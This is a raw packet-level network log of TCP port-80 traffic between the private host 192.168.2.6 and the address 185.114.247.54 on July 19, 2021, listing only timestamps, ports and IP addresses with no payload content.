Jul 19, 2021 18:36:37.368510962 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.368666887 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.368765116 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.368803024 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.369035959 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.369117975 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.369401932 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.369647980 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.369743109 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.422719955 CEST	49999	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.425065041 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.446003914 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.446057081 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.446073055 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.446183920 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.446217060 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.446321964 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.446930885 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.446948051 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.447061062 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.447099924 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.447171926 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.447417974 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.447566032 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.506139994 CEST	80	49999	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.506211996 CEST	49999	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.507477999 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.507853031 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.508764029 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.523989916 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.524286032 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.525177956 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.525197029 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.525240898 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.525780916 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.527188063 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.590873003 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.601871967 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.601892948 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.601979017 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.601998091 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.602013111 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.602027893 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.602417946 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.602524996 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.637840033 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.638040066 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.638267994 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.638408899 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.715367079 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.717740059 CEST	50002	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.726735115 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.726751089 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.726768970 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.726783991 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.726797104 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.726810932 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.726826906 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.726841927 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.726855040 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.726870060 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.726880074 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.726893902 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.727051973 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.727109909 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.797368050 CEST	80	50000	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.797540903 CEST	50000	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.808567047 CEST	80	50002	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.809158087 CEST	50002	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.809230089 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.809247017 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.809331894 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.809951067 CEST	50002	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.827600956 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.827833891 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.891211987 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.891237974 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.891247988 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.891513109 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.891554117 CEST	80	50002	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.891597033 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.891696930 CEST	80	50002	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.891963959 CEST	50002	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.910020113 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.910121918 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.910238981 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.910365105 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.910527945 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.973347902 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.973364115 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.973432064 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.973512888 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.973543882 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.973609924 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.973623037 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.973707914 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.982364893 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:37.982536077 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.996704102 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.997077942 CEST	50002	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:37.998502970 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.076977015 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.077219963 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.078449965 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.078799963 CEST	80	50001	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.078855991 CEST	80	50002	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.078893900 CEST	50001	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.078979969 CEST	50002	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.158027887 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.174345970 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.174789906 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.185831070 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.185935974 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.186106920 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.186211109 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.264354944 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.264647007 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.264841080 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.265201092 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.265319109 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.265520096 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.265638113 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.266201019 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.266321898 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.266483068 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.266801119 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.266920090 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.267388105 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.297004938 CEST	50004	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.346158028 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.346174002 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.346250057 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.346908092 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.346925020 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.347094059 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.377924919 CEST	80	50004	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.379940987 CEST	50004	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.380749941 CEST	50004	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.389413118 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.389492989 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.424890041 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.425023079 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.425030947 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.425582886 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.425734043 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.425857067 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.425968885 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.459862947 CEST	80	50004	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.459884882 CEST	80	50004	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.460061073 CEST	50004	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.468847036 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.503597021 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.503612041 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.503623009 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.511425972 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.511507034 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.575134039 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.576776028 CEST	50004	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.578269958 CEST	50005	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.654483080 CEST	80	50003	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.655884981 CEST	50003	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.658447981 CEST	80	50004	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.658571959 CEST	50004	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.662905931 CEST	80	50005	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.663094997 CEST	50005	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.663764954 CEST	50005	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.700067997 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.745841026 CEST	80	50005	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.745924950 CEST	80	50005	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.746048927 CEST	50005	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.778811932 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.779043913 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.779793024 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.779972076 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.780241013 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.780383110 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.856372118 CEST	50005	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.857507944 CEST	50007	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.858885050 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.859102011 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.859136105 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.859236002 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.861207962 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.861349106 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.862557888 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.862579107 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.862593889 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.862608910 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.862624884 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.862638950 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.862653971 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.862672091 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.862715960 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.862730980 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.862754107 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.862796068 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.863214970 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.863281012 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.935642958 CEST	80	50007	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.935802937 CEST	50007	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.936459064 CEST	50007	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.938930035 CEST	80	50005	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.939034939 CEST	50005	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.940512896 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.940532923 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.940594912 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.940634966 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.941049099 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.941103935 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.941123009 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.941159010 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.941344976 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.941356897 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.941438913 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.941473961 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:38.941829920 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:38.941930056 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.016602993 CEST	80	50007	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.016627073 CEST	80	50007	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.016959906 CEST	50007	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.022170067 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.022298098 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.022368908 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.022403955 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.022414923 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.023628950 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.023648977 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.023654938 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.023662090 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.023669004 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.023675919 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.023683071 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.023689985 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.104526997 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.104549885 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.104559898 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.104573965 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.104584932 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.122452974 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.122713089 CEST	50007	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.123753071 CEST	50008	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.201304913 CEST	80	50007	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.201467037 CEST	50007	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.202584982 CEST	80	50006	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.202672958 CEST	50006	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.204433918 CEST	80	50008	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.204555988 CEST	50008	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.206082106 CEST	50008	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.270637989 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.285064936 CEST	80	50008	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.285178900 CEST	80	50008	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.285274982 CEST	50008	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.348330021 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.348470926 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.349195957 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.349306107 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.349503040 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.349720001 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.404731035 CEST	50008	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.405937910 CEST	50010	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.429130077 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.429472923 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.429924965 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.430037975 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.430521965 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.430552006 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.430624008 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.430674076 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.430861950 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.430943012 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.431093931 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.431168079 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.431580067 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.431714058 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.431798935 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.431868076 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.432172060 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.432248116 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.432606936 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.432684898 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.432969093 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.433043957 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.484163046 CEST	80	50008	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.484242916 CEST	50008	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.488759041 CEST	80	50010	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.489068031 CEST	50010	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.489636898 CEST	50010	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.507333040 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.507354975 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.507807016 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.508016109 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.508033037 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.508044958 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.508233070 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.508234024 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.508337975 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.509040117 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.509433031 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.509860992 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.510258913 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.511399984 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.514164925 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.552826881 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.552933931 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.572237968 CEST	80	50010	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.572315931 CEST	80	50010	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.572474957 CEST	50010	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.585421085 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.585436106 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.585561037 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.585905075 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.586337090 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.586479902 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.588593006 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.588674068 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.588927031 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.591474056 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.591584921 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.592138052 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.630453110 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.630517006 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.665039062 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.665075064 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.665082932 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.681948900 CEST	50010	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.684556007 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.713757038 CEST	80	50009	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.713865995 CEST	50009	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.765068054 CEST	80	50010	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.768198967 CEST	50010	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.778321028 CEST	80	50011	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:39.778477907 CEST	50011	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:39.779230118 CEST	50011	80	192.168.2.6	185.114.247.54
